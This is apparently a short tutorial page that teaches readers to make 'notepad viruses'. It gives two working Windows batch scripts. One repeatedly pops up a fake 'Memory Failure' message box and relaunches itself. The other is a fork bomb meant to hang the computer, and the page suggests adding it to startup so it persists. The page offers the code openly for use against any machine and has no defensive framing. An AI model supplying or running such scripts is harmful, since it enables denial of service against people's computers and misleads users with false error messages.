Create notepad virus to popup Message Box

With this you can create a batch file that keeps bring Message box with "Memory Failure"

Open notepad and copy the following code:

:lp
@ECHO OFF
echo msgbox "Memory Failure" > box.vbs
call box.vbs
start /min 123.bat
goto lp

Save this file with name -  123.bat and select Save as Type  - All Files(*)

Simple Virus using Notepad

With this you can create simple notepad virus that can hang any computer...

Open notepad and copy the following code:

:loop
start virus.bat
goto loop

Now save the file with name "virus.bat"  and select Save as Type "All files(*)"  from list.

If you run this batch file, this keeps executing itself, until you restart your computer.

You can also add this program to startup.